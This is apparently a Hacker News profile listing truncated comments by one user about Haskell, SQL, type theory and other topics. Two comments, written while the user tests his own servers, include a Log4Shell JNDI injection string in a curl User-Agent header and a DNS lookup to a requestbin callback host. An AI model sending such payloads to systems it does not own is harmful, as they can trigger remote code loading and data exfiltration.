philh

34 ms·

1.
by philh 2y ago
Thanks. Yeah, I don't understand the name. You could construct a basically-equivalent data structure in Haskell, but I think normally you'd use an HList (defined in many places but e.g. https://hackage.haskell.org/
2.
by philh 2y ago
I'm not familiar with that technique and don't know what's going on from that snippet. In Haskell, any time a heterogeneous list turns out to be fine, I expect to be able to model it. Often it'll look like "I'm
3.
by philh 2y ago
I'm still working at the same company as when I wrote this, and that company is still using Haskell (now mostly Typescript instead of Elm). If I did move on I'd ideally want to keep using Haskell, or failing that some other strong
4.
by philh 2y ago
I don't necessarily disagree. But I do think there's something to be said for knowing that my sql query is "just" slow, not trapped in an infinite loop. Not confident, but I feel like debugging "why is this query so
5.
by philh 2y ago
I think my position is: Native heterogeneous lists will often be convenient, and sometimes when you've used them they're going to turn out in retrospect to have been a bad idea but sometimes they'll be just fine, especially i
6.
by philh 2y ago
For whatever it's worth, when I first wrote this I submitted it to /r/haskell ( https://www.reddit.com/r/haskell/comments/cs7jyu/a_reckless_... ) and it doesn't look like there were any
7.
by philh 4y ago
SQL queries sometimes put floats in GROUP BY. E.g. if you have a many-to-one relationship you might do a query like SELECT foo_id, foo.some_float, SUM(bar.some_thing) FROM foo JOIN bar USING (foo_id) GROUP BY foo_id, foo.some_
8.
by philh 5y ago
Huh, I remember xearth. It would move the stars every time it redrew itself. I wanted to have it update every second for some reason, and that was distracting, so I patched it to add an option to not do that. Then I couldn't find a mai
9.
by philh 5y ago
Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works. My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.
10.
by philh 5y ago
Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' http
11.
by philh 5y ago
I don't really know what's going on here, so to clarify... it gives "simple checking example" nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net but when I run that in my terminal I get the response
12.
by philh 5y ago
The context was parsing, not semantics. "Typeless" meant "lacking type annotations", not directly to do with static/dynamic or weak/strong typing. (Though Python does have optional type annotations these days.)
13.
by philh 5y ago
Author in the old thread ( https://news.ycombinator.com/item?id=19262249 ) says > An x86-64 CPU has sixteen integer registers, but 100-200 physical integer registers. Every time an instruction writes to, say, RAX the renam
14.
by philh 5y ago
This doesn't acknowledge weekends, which if you have the same 8 hours sleep and 4 hours "not for yourself", add more than 50% to the time you supposedly have "for yourself". (4×5 + 12×2 vs 4×7.) Which doesn't n
15.
by philh 5y ago
What do you mean by "that's really on you"? I'd normally interpret it as something like... "this is a state of affairs that would be different if you'd acted differently, and you knew or could have been able to
16.
by philh 5y ago
Okay, but it seems like "science isn't a single tradition" is a perfectly reasonable way to describe this state of affairs. So when you ask "what does this even mean" I think there's a fairly straightforward an
17.
by philh 5y ago
> Science is far from an 'anarchic enterprise'. It has the most rigidly regulated mechanisms for knowledge procurement and knowledge dissemination available to us. > Further, science is a single tradition Have these rigidly
18.
by philh 5y ago
> I don't know what you mean by this - lambdas are values not types. I think they meant "`Maybe` is a type-lambda abstraction", meaning roughly "a type-level function", which seems true to me. I don't think
19.
by philh 5y ago
As I said, I think that's a reasonable but nonstandard way to define the word "type" but it doesn't make much difference - type theory concerns itself with them, whatever they're called. But to support my "nons
20.
by philh 5y ago
Or Haskell has types like `Void`, `Maybe`, and `Monad`. If you think of them as "sets of possible values", these all have no possible values. But they're very different types. You could probably define terms such that of th
21.
A command-line grammar of graphics(reasonableapproximation.net)
1 points by philh 5y ago|0 comments
22.
by philh 6y ago
Welp, on a second look it turns out it wasn't you who made that accusation. I, uh, could probably have spent a few seconds checking that.
23.
by philh 6y ago
"To some degree"? Surely. It could have influenced you to spend a few seconds checking whether the account was a throwaway. I think that would have been entirely reasonable. But it didn't influence you "to some degree&qu
24.
by philh 6y ago
> I will add that even with regards to the government, there are limits to free speech — falsely shouting “fire” in a crowded theater is the archetypal example. Note that when this phrase was originally used, it was to justify imprisonin
25.
by philh 6y ago
> It's simple, at least in theory: Don't go along with decisions you disagree with until you've voiced your concerns and they have been addressed. Depending how I read "go along", "disagree" and "a
26.
by philh 6y ago
> So I decided to gamble on the opposite. Now I just assume I’m below average. > It serves me well. I listen more. I ask a lot of questions. I’ve stopped thinking others are stupid. I assume most people are smarter than me. > To as
27.
by philh 6y ago
I take it they mean "features from ML". Which is indeed functional, but a specific style of functional. https://en.wikipedia.org/wiki/ML_(programming_language)
28.
by philh 6y ago
Fair enough. I get the sense we're working on fairly different apps. It's also possible that if the app I'm working on were structured differently, we'd have done things more like the way you're doing things. I&#x27
29.
by philh 6y ago
> Which is not how they try to promote Elm. I agree with this, FWIW. And I too don't recommend Elm, and wouldn't start a new project in it. I wasn't offended, just confused.
30.
by philh 6y ago
> If it seems confusing, it's because it is. That's the point I'm trying to make. I have seen — several times across a number of projects — people writing code with a philosophical ideal along the lines of "well, this

More ›